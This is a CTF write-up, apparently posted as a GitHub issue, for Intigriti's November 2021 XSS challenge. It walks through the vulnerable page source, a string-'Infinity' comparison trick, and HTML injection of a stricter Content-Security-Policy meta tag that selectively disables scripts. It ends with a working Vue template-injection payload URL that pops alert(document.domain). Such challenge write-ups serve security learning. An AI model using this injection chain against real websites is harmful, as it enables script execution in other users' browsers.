aszx87410 / ctf-writeups

ctf writeups

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Writeup: Intigriti’s November XSS challenge By @IvarsVids

aszx87410 opened this issue · comments

commented

Challenge link: https://challenge-1121.intigriti.io/

Source code: https://challenge-1121.intigriti.io/challenge/index.php?s=security

I removed css part because it's not important and too long.

<html>
<head>
  <title>You searched for 'security'</title>
  <script nonce="58d08eb122159ce2369f901f5d125462">
    var isProd = true;
  </script>
  <script nonce="58d08eb122159ce2369f901f5d125462">
    function addJS(src, cb){
      let s = document.createElement('script');
      s.src = src;
      s.onload = cb;
      let sf = document.getElementsByTagName('script')[0];
          sf.parentNode.insertBefore(s, sf);
    }
    
    function initVUE(){
      if (!window.Vue){
        setTimeout(initVUE, 100);
      }
      new Vue({
        el: '#app',
        delimiters: window.delimiters,
        data: {
          "owasp":[
            {"target": "1", "title":"A01:2021-Broken Access Control","description":" moves up from the fifth position to the category with the most serious web application security risk; the contributed data indicates that on average, 3.81% of applications tested had one or more Common Weakness Enumerations (CWEs) with more than 318k occurrences of CWEs in this risk category. The 34 CWEs mapped to Broken Access Control had more occurrences in applications than any other category."},
            {"target": "2", "title":"A02:2021-Cryptographic Failures","description":" shifts up one position to #2, previously known as A3:2017-Sensitive Data Exposure, which was broad symptom rather than a root cause. The renewed name focuses on failures related to cryptography as it has been implicitly before. This category often leads to sensitive data exposure or system compromise."},
            {"target": "3", "title":"A03:2021-Injection","description":" slides down to the third position. 94% of the applications were tested for some form of injection with a max incidence rate of 19%, an average incidence rate of 3.37%, and the 33 CWEs mapped into this category have the second most occurrences in applications with 274k occurrences. Cross-site Scripting is now part of this category in this edition."},
            {"target": "4", "title":"A04:2021-Insecure Design","description":" is a new category for 2021, with a focus on risks related to design flaws. If we genuinely want to \"move left\" as an industry, we need more threat modeling, secure design patterns and principles, and reference architectures. An insecure design cannot be fixed by a perfect implementation as by definition, needed security controls were never created to defend against specific attacks."},
            {"target": "5", "title":"A05:2021-Security Misconfiguration","description":" moves up from #6 in the previous edition; 90% of applications were tested for some form of misconfiguration, with an average incidence rate of 4.5%, and over 208k occurrences of CWEs mapped to this risk category. With more shifts into highly configurable software, it's not surprising to see this category move up. The former category for A4:2017-XML External Entities (XXE) is now part of this risk category."},
            {"target": "6", "title":"A06:2021-Vulnerable","description":" and Outdated Components was previously titled Using Components with Known Vulnerabilities and is #2 in the Top 10 community survey, but also had enough data to make the Top 10 via data analysis. This category moves up from #9 in 2017 and is a known issue that we struggle to test and assess risk. It is the only category not to have any Common Vulnerability and Exposures (CVEs) mapped to the included CWEs, so a default exploit and impact weights of 5.0 are factored into their scores."},
            {"target": "7", "title":"A07:2021-Identification and Authentication Failures","description":" was previously Broken Authentication and is sliding down from the second position, and now includes CWEs that are more related to identification failures. This category is still an integral part of the Top 10, but the increased availability of standardized frameworks seems to be helping."},
            {"target": "8", "title":"A08:2021-Software and Data Integrity Failures","description":" is a new category for 2021, focusing on making assumptions related to software updates, critical data, and CI/CD pipelines without verifying integrity. One of the highest weighted impacts from Common Vulnerability and Exposures/Common Vulnerability Scoring System (CVE/CVSS) data mapped to the 10 CWEs in this category. A8:2017-Insecure Deserialization is now a part of this larger category."},
            {"target": "9", "title":"A09:2021-Security Logging and Monitoring Failures","description":" was previously A10:2017-Insufficient Logging & Monitoring and is added from the Top 10 community survey (#3), moving up from #10 previously. This category is expanded to include more types of failures, is challenging to test for, and isn't well represented in the CVE/CVSS data. However, failures in this category can directly impact visibility, incident alerting, and forensics."},
            {"target": "10", "title":"A10:2021-Server-Side Request Forgery","description":" is added from the Top 10 community survey (#1). The data shows a relatively low incidence rate with above average testing coverage, along with above-average ratings for Exploit and Impact potential. This category represents the scenario where the security community members are telling us this is important, even though it's not illustrated in the data at this time."},
            ].filter(e=>{
              return (e.title + ' - ' + e.description)
                .includes(new URL(location).searchParams.get('s')|| ' ');
            }),
          "search": new URL(location).searchParams.get('s')
        }
      })
    }
  </script>
  <script nonce="58d08eb122159ce2369f901f5d125462">
    var delimiters = ['v-{{', '}}'];
    addJS('./vuejs.php', initVUE);
  </script>
  <script nonce="58d08eb122159ce2369f901f5d125462">
    if (!window.isProd){
      let version = new URL(location).searchParams.get('version') || '';
      version = version.slice(0,12);
      let vueDevtools = new URL(location).searchParams.get('vueDevtools') || '';
      vueDevtools = vueDevtools.replace(/[^0-9%a-z/.]/gi,'').replace(/^\/\/+/,'');

      if (version === 999999999999){
        setTimeout(window.legacyLogger, 1000);
      } else if (version > 1000000000000){
        addJS(vueDevtools, window.initVUE);
      } else{
        console.log(performance)
      }
    }
  </script>
</head>
<body>
<div id="app">
<form action="" method="GET">
<input type="text "name="s" v-model="search"/>
<input type="submit" value="🔍">
</form>
<p>You searched for v-{{search}}</p>
<ul class="tilesWrap">
  <li v-for="item in owasp">
    <h2>v-{{item.target}}</h2>
    <h3>v-{{item.title}}</h3>
    <p>v-{{item.description}}</p>
    <p>
      <a v-bind:href="'https://blog.intigriti.com/2021/09/10/owasp-top-10/#'+item.target" target="blog" class="readMore">Read more</a>
    </p>
  </li>
</ul>
</div>
</body>
</html>

Writeup

It's obviously we can inject arbitrary html via ?s= query string, but v-{{}} is filtered so we can't just do CSTI:

https://challenge-1121.intigriti.io/challenge/index.php?s=v-{{}}

You searched for '%v%{{}}'

Another interesting part is here:

if (!window.isProd){
  let version = new URL(location).searchParams.get('version') || '';
  version = version.slice(0,12);
  let vueDevtools = new URL(location).searchParams.get('vueDevtools') || '';
  vueDevtools = vueDevtools.replace(/[^0-9%a-z/.]/gi,'').replace(/^\/\/+/,'');

  if (version === 999999999999){
    setTimeout(window.legacyLogger, 1000);
  } else if (version > 1000000000000){
    addJS(vueDevtools, window.initVUE);
  } else{
    console.log(performance)
  }
}

First, version === 999999999999 is impossible to achieve because version is a string and 999999999999 is number, how about version > 1000000000000?

It seems also not possible because we only take first 12 characters of version and 1000000000000 is 13 digits, it's always smaller.

Here comes the interesting part, there is a number in JS called Infinity, it's bigger than any other numbers. When JS engine runs the comparison between string and number, it tries to cast string to number first, so 'Infinity' > 1000000000000 is true!

But, how can we make window.isProd falsy? DOM clobbering is not useful here because we already declared a global variablevar isProd = true; above.

I came up with a solution, we can inject <script> tag like this:

https://challenge-1121.intigriti.io/challenge/index.php?s=security%3C/title%3E%3Cscript%3E

By doing so, the script is blocked by CSP because there is no nonce in attribute.

After bypass this, we can manipulate the src of newly inserted script. But, there are some restrictions on it:

vueDevtools = vueDevtools.replace(/[^0-9%a-z/.]/gi,'').replace(/^\/\/+/,'');

Don't forget the CSP as well:

content-security-policy: base-uri 'self'; default-src 'self'; script-src 'unsafe-eval' 'nonce-5ca758a744d3dce316e1680e295c5c89' 'strict-dynamic'; object-src 'none'; style-src 'sha256-dpZAgKnDDhzFfwKbmWwkl1IEwmNIKxUv+uw+QP89W3Q='

I stuck here for a day because I can't inject anything useful.

Then, I saw the hint from this tweet:

Sometimes, you need to make your enemy stronger in order to be able to break it! That's just our policy!

I had a feeling it's something to do with CSP, and it's right.

The HTML injection is in the <head>,so we can inject CSP. You may wondering, why would we do that?

Because we can prevent certain scripts from execution by putting stronger policy!

An example here: https://challenge-1121.intigriti.io/challenge/index.php?s=</title><meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-eval' 'strict-dynamic';">

We removed nonce in CSP so you will see four errors in the console:

By adding sha-xxx to CSP, we can choose which script to load.

It's much easier now, we have 4 scripts:

<script nonce="6937ca6465a9df0b11dd56232ced38">
  // 1
  var isProd = true;
</script>
<script nonce="6937ca6465a9df0b11dd56232ced38">
  // 2
  function addJS(src, cb){
    let s = document.createElement('script');
    s.src = src;
    s.onload = cb;
    let sf = document.getElementsByTagName('script')[0];
        sf.parentNode.insertBefore(s, sf);
  }
  
  function initVUE(){
    if (!window.Vue){
      setTimeout(initVUE, 100);
    }
    new Vue({
      el: '#app',
      delimiters: window.delimiters,
      data: {
        "owasp":[
          {"target": "1", "title":"A01:2021-Broken Access Control","description":" moves up from the fifth position to the category with the most serious web application security risk; the contributed data indicates that on average, 3.81% of applications tested had one or more Common Weakness Enumerations (CWEs) with more than 318k occurrences of CWEs in this risk category. The 34 CWEs mapped to Broken Access Control had more occurrences in applications than any other category."},
          {"target": "2", "title":"A02:2021-Cryptographic Failures","description":" shifts up one position to #2, previously known as A3:2017-Sensitive Data Exposure, which was broad symptom rather than a root cause. The renewed name focuses on failures related to cryptography as it has been implicitly before. This category often leads to sensitive data exposure or system compromise."},
          {"target": "3", "title":"A03:2021-Injection","description":" slides down to the third position. 94% of the applications were tested for some form of injection with a max incidence rate of 19%, an average incidence rate of 3.37%, and the 33 CWEs mapped into this category have the second most occurrences in applications with 274k occurrences. Cross-site Scripting is now part of this category in this edition."},
          {"target": "4", "title":"A04:2021-Insecure Design","description":" is a new category for 2021, with a focus on risks related to design flaws. If we genuinely want to \"move left\" as an industry, we need more threat modeling, secure design patterns and principles, and reference architectures. An insecure design cannot be fixed by a perfect implementation as by definition, needed security controls were never created to defend against specific attacks."},
          {"target": "5", "title":"A05:2021-Security Misconfiguration","description":" moves up from #6 in the previous edition; 90% of applications were tested for some form of misconfiguration, with an average incidence rate of 4.5%, and over 208k occurrences of CWEs mapped to this risk category. With more shifts into highly configurable software, it's not surprising to see this category move up. The former category for A4:2017-XML External Entities (XXE) is now part of this risk category."},
          {"target": "6", "title":"A06:2021-Vulnerable","description":" and Outdated Components was previously titled Using Components with Known Vulnerabilities and is #2 in the Top 10 community survey, but also had enough data to make the Top 10 via data analysis. This category moves up from #9 in 2017 and is a known issue that we struggle to test and assess risk. It is the only category not to have any Common Vulnerability and Exposures (CVEs) mapped to the included CWEs, so a default exploit and impact weights of 5.0 are factored into their scores."},
          {"target": "7", "title":"A07:2021-Identification and Authentication Failures","description":" was previously Broken Authentication and is sliding down from the second position, and now includes CWEs that are more related to identification failures. This category is still an integral part of the Top 10, but the increased availability of standardized frameworks seems to be helping."},
          {"target": "8", "title":"A08:2021-Software and Data Integrity Failures","description":" is a new category for 2021, focusing on making assumptions related to software updates, critical data, and CI/CD pipelines without verifying integrity. One of the highest weighted impacts from Common Vulnerability and Exposures/Common Vulnerability Scoring System (CVE/CVSS) data mapped to the 10 CWEs in this category. A8:2017-Insecure Deserialization is now a part of this larger category."},
          {"target": "9", "title":"A09:2021-Security Logging and Monitoring Failures","description":" was previously A10:2017-Insufficient Logging & Monitoring and is added from the Top 10 community survey (#3), moving up from #10 previously. This category is expanded to include more types of failures, is challenging to test for, and isn't well represented in the CVE/CVSS data. However, failures in this category can directly impact visibility, incident alerting, and forensics."},
          {"target": "10", "title":"A10:2021-Server-Side Request Forgery","description":" is added from the Top 10 community survey (#1). The data shows a relatively low incidence rate with above average testing coverage, along with above-average ratings for Exploit and Impact potential. This category represents the scenario where the security community members are telling us this is important, even though it's not illustrated in the data at this time."},
          ].filter(e=>{
            return (e.title + ' - ' + e.description)
              .includes(new URL(location).searchParams.get('s')|| ' ');
          }),
        "search": new URL(location).searchParams.get('s')
      }
    })
  }
</script>
<script nonce="6937ca6465a9df0b11dd56232ced38">
  // 3
  var delimiters = ['v-{{', '}}'];
  addJS('./vuejs.php', initVUE);
</script>
<script nonce="6937ca6465a9df0b11dd56232ced38">
  // 4
  if (!window.isProd){
    let version = new URL(location).searchParams.get('version') || '';
    version = version.slice(0,12);
    let vueDevtools = new URL(location).searchParams.get('vueDevtools') || '';
    vueDevtools = vueDevtools.replace(/[^0-9%a-z/.]/gi,'').replace(/^\/\/+/,'');

    if (version === 999999999999){
      setTimeout(window.legacyLogger, 1000);
    } else if (version > 1000000000000){
      addJS(vueDevtools, window.initVUE);
    } else{
      console.log(performance)
    }
  }
</script>

We can disable these two:

<script nonce="6937ca6465a9df0b11dd56232ced38">
  // 1
  var isProd = true;
</script>
<script nonce="6937ca6465a9df0b11dd56232ced38">
  // 3
  var delimiters = ['v-{{', '}}'];
  addJS('./vuejs.php', initVUE);
</script>

So isProd will be falsy and window.delimiters will be undefined, and then we can use normal {{}} to do CSTI.

For vueDevtools, we just simply put vuejs.php to manually load vue.js.

It's my final payload:

https://challenge-1121.intigriti.io/challenge/index.php?s=
</title>
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
<div id=app>
    {{constructor.constructor('alert(document.domain)')()}}
</div>
&version=Infinity
&vueDevtools=vuejs.php